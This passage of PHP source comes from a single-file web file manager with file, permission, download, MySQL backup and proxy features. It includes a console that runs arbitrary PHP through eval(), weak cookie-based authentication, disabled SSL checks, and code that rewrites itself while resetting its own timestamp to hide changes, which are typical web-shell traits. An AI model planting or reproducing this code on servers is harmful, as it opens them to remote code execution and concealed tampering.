'0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if (@is_dir($file) && $rec) { $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die; } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die; } } } //show folder size function fm_dir_size($f, $format = true) { if ($format) { $size = fm_dir_size($f, false); if ($size <= 1024) { return $size . ' bytes'; } elseif ($size <= 1024 * 1024) { return round($size / 1024, 2) . ' Kb'; } elseif ($size <= 1024 * 1024 * 1024) { return round($size / (1024 * 1024), 2) . ' Mb'; } elseif ($size <= 1024 * 1024 * 1024 * 1024) { return round($size / (1024 * 1024 * 1024), 2) . ' Gb'; } elseif ($size <= 1024 * 1024 * 1024 * 1024 * 1024) { return round($size / (1024 * 1024 * 1024 * 1024), 2) . ' Tb'; } else { return round($size / (1024 * 1024 * 1024 * 1024 * 1024), 2) . ' Pb'; } // ;-) } else { if (is_file($f)) { return filesize($f); } $size = 0; $dh = opendir($f); while (($file = readdir($dh)) !== false) { if ($file == '.' || $file == '..') { continue; } if (is_file($f . '/' . $file)) { $size += filesize($f . '/' . $file); } else { $size += fm_dir_size($f . '/' . $file, false); } } closedir($dh); return $size + filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if (!empty($exp)) { $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if (!empty($type) && $type !== 'all') { $func = 'is_' . $type; } if (@is_dir($directory)) { $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if (substr($filename, 0, 1) != '.' || $do_not_filter) { if ((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))) { $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get, $link, $name, $title = '') { if (empty($title)) { $title = $name . ' ' . basename($link); } return ' <a href="?' . $get . '=' . base64_encode($link) . '" title="' . $title . '">' . $name . '</a>'; } function fm_arr_to_option($arr, $n, $sel = '') { foreach ($arr as $v) { $b = $v[$n]; $res .= '<option value="' . $b . '" ' . ($sel && $sel == $b ? 'selected' : '') . '>' . $b . '</option>'; } return $res; } function fm_lang_form($current = 'en') { return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="' . __('Language') . '" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" ' . ($current == 'en' ? 'selected="selected" ' : '') . '>' . __('English') . '</option> <option value="de" ' . ($current == 'de' ? 'selected="selected" ' : '') . '>' . __('German') . '</option> <option value="ru" ' . ($current == 'ru' ? 'selected="selected" ' : '') . '>' . __('Russian') . '</option> <option value="fr" ' . ($current == 'fr' ? 'selected="selected" ' : '') . '>' . __('French') . '</option> <option value="uk" ' . ($current == 'uk' ? 'selected="selected" ' : '') . '>' . __('Ukrainian') . '</option> </select> </form> '; } function fm_root($dirname) { return $dirname == '.' or $dirname == '..'; } function fm_php($string) { $display_errors = ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect() { global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query) { global $fm_config; $query = trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection, $query); if ($queried === false) { ob_end_clean(); return mysqli_error($connection); } else { if (!empty($queried)) { while ($row = mysqli_fetch_assoc($queried)) { $query_result[] = $row; } } $vdump = empty($query_result) ? '' : var_export($query_result, true); ob_end_clean(); $connection->close(); return '<pre>' . stripslashes($vdump) . '</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if ($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while ($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',', $tables); } $return = ''; foreach ($tables as $table) { $result = $mysqldb->query('SELECT * FROM ' . $table); $num_fields = mysqli_num_fields($result); $return .= 'DROP TABLE IF EXISTS `' . $table . '`' . $delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE ' . $table)); $return .= $row2[1] . $delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while ($row = mysqli_fetch_row($result)) { $return .= 'INSERT INTO `' . $table . '` VALUES('; for ($j = 0; $j < $num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n", "\\n", $row[$j]); if (isset($row[$j])) { $return .= '"' . $row[$j] . '"'; } else { $return .= '""'; } if ($j < $num_fields - 1) { $return .= ','; } } $return .= ')' . $delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\\d]+ #is", '', $return); } $return .= "\n\n\n"; } //save file $file = gmdate("Y-m-d_H-i-s", time()) . '.sql'; $handle = fopen($file, 'w+'); fwrite($handle, $return); fclose($handle); $alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file . ': ' . fm_link('download', $path . $file, __('Download'), __('Download') . ' ' . $file) . ' <a href="#" title="' . __('Delete') . ' ' . $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute, "r+"); $sqlFile = fread($f, filesize($sqlFileToExecute)); $sqlArray = explode($delimiter, $sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt) > 3) { $result = $mysqldb->query($stmt); if (!$result) { $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) { return __('Success') . ' — ' . $sqlFileToExecute; } else { return $sqlErrorText . '<br/>' . $stmt; } } function fm_img_link($filename) { return './' . basename(__FILE__) . '?img=' . base64_encode($filename); } function fm_home_style() { return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name, $value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_' . $value . '" name="fm_config[' . $value . ']" value="1" ' . (empty($fm_config[$value]) ? '' : 'checked="true"') . ' type="checkbox"></td><td class="row2 whole"><label for="fm_config_' . $value . '">' . $name . '</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) { return $_SERVER['HTTP_SCHEME'] . '://'; } if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') { return 'https://'; } if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) { return 'https://'; } if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') { return 'https://'; } return 'http://'; } function fm_site_url() { return fm_protocol() . $_SERVER['HTTP_HOST']; } function fm_url($full = false) { $host = $full ? fm_site_url() : '.'; return $host . '/' . basename(__FILE__); } function fm_home($full = false) { return ' <a href="' . fm_url($full) . '" title="' . __('Home') . '"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_' . $lng . '_console']) ? ' <form method="post" action="' . fm_url() . '" style="display:inline"> <input type="submit" name="' . $lng . 'run" value="' . strtoupper($lng) . ' ' . __('Console') . '"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&', '&', $matches[2]); $url = isset($_GET['url']) ? $_GET['url'] : ''; $parse_url = parse_url($url); $host = $parse_url['scheme'] . '://' . $parse_url['host'] . '/'; if (substr($link, 0, 2) == '//') { $link = substr_replace($link, fm_protocol(), 0, 2); } elseif (substr($link, 0, 1) == '/') { $link = substr_replace($link, $host, 0, 1); } elseif (substr($link, 0, 2) == './') { $link = substr_replace($link, $host, 0, 2); } elseif (substr($link, 0, 4) == 'http') { //alles machen wunderschon } else { $link = $host . $link; } if ($matches[1] == 'href' && !strripos($link, 'css')) { $base = fm_site_url() . '/' . basename(__FILE__); $baseq = $base . '?proxy=true&url='; $link = $baseq . urlencode($link); } elseif (strripos($link, 'css')) { //как-то тоже подменять надо } return $matches[1] . '="' . $link . '"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl . '_templates'}; $tpl_arr = json_decode(${$lng_tpl . '_templates'}, true); $str = ''; foreach ($tpl_arr as $ktpl => $vtpl) { $str .= '<tr><td class="row1"><input name="' . $lng_tpl . '_name[]" value="' . $ktpl . '"></td><td class="row2 whole"><textarea name="' . $lng_tpl . '_value[]" cols="55" rows="5" class="textarea_input">' . $vtpl . '</textarea> <input name="del_' . rand() . '" type="button" onClick="this.parentNode.parentNode.remove();" value="' . __('Delete') . '"/></td></tr>'; } return ' <table> <tr><th colspan="2">' . strtoupper($lng_tpl) . ' ' . __('templates') . ' ' . fm_run_input($lng_tpl) . '</th></tr> <form method="post" action=""> <input type="hidden" value="' . $lng_tpl . '" name="tpl_edited"> <tr><td class="row1">' . __('Name') . '</td><td class="row2 whole">' . __('Value') . '</td></tr> ' . $str . ' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \'' . fm_url() . '?fm_settings=true\';" value="' . __('Reset') . '"/> <input type="submit" value="' . __('Save') . '" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="' . $lng_tpl . '" name="tpl_edited"> <tr><td class="row1"><input name="' . $lng_tpl . '_new_name" value="" placeholder="' . __('New') . ' ' . __('Name') . '"></td><td class="row2 whole"><textarea name="' . $lng_tpl . '_new_value" cols="55" rows="5" class="textarea_input" placeholder="' . __('New') . ' ' . __('Value') . '"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="' . __('Add') . '" ></td></tr> </form> </table> '; } function find_text_in_files($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_files($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])) { if ($_POST['login'] == $auth['login'] && $_POST['password'] == $auth['password']) { setcookie($auth['cookie_name'], $auth['login'] . '|' . md5($auth['password']), time() + 86400 * $auth['days_authorization']); $_COOKIE[$auth['cookie_name']] = $auth['login'] . '|' . md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) or $_COOKIE[$auth['cookie_name']] != $auth['login'] . '|' . md5($auth['password'])) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>' . __('File manager') . '</title> </head> <body> <form action="" method="post"> ' . __('Login') . ' <input name="login" type="text"> ' . __('Password') . ' <input name="password" type="password"> <input type="submit" value="' . __('Enter') . '" class="fm_input"> </form> ' . fm_lang_form($language) . ' </body> </html> '; die; } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - 86400 * $auth['days_authorization']); header('Location: ' . fm_site_url() . $_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - 86400 * $auth['days_authorization']); header('Location: ' . fm_url() . '?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + 86400 * $auth['days_authorization']); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings') . ' ' . __('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) { $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; } $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"' . $matches[1] . '"}', $fm_login, $fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) { $msg .= ' ' . __('Login') . ': ' . $_POST['fm_login']['login']; } if ($_POST['fm_login']['password'] != $auth['password']) { $msg .= ' ' . __('Password') . ': ' . $_POST['fm_login']['password']; } $auth = $_POST['fm_login']; } else { $msg .= __('Error occurred'); } if (!empty($fm_config['fm_restore_time'])) { touch(__FILE__, $filemtime); } } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl . '_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl . '_name'], $_POST[$lng_tpl . '_value']), JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl . '_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl . '_templates'}, true) + array($_POST[$lng_tpl . '_new_name'] => $_POST[$lng_tpl . '_new_value']), JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#' . $lng_tpl . '_templates[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"' . $matches[1] . '"}', $fm_php, $fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl . '_templates'} = $fm_php; $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } if (!empty($fm_config['fm_restore_time'])) { touch(__FILE__, $filemtime); } } } else { $msg .= __('Error occurred'); } } } // Just show image if (isset($_GET['img'])) { $file = base64_decode($_GET['img']); if ($info = getimagesize($file)) { switch ($info[2]) { //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext = 'gif'; break; case 2: $ext = 'jpeg'; break; case 3: $ext = 'png'; break; case 6: $ext = 'bmp'; break; default: die; } header("Content-type: image/{$ext}"); echo file_get_contents($file); die; } } // Just download file if (isset($_GET['download'])) { $file = base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die; } // Mini proxy, many bugs! if (isset($_GET['proxy']) && !empty($fm_config['enable_proxy'])) { $url = isset($_GET['url']) ? urldecode($_GET['url']) : ''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> ' . fm_home() . ' <a href="' . $url . '" target="_blank">Url</a>: <input type="text" name="url" value="' . $url . '" size="55"> <input type="submit" value="' . __('Show') . '" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1' . '<style>' . fm_home_style() . '</style>' . $proxy_form, $result); echo $result; die; } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?php echo __('File manager'); ?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,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"); } .file { background-image: 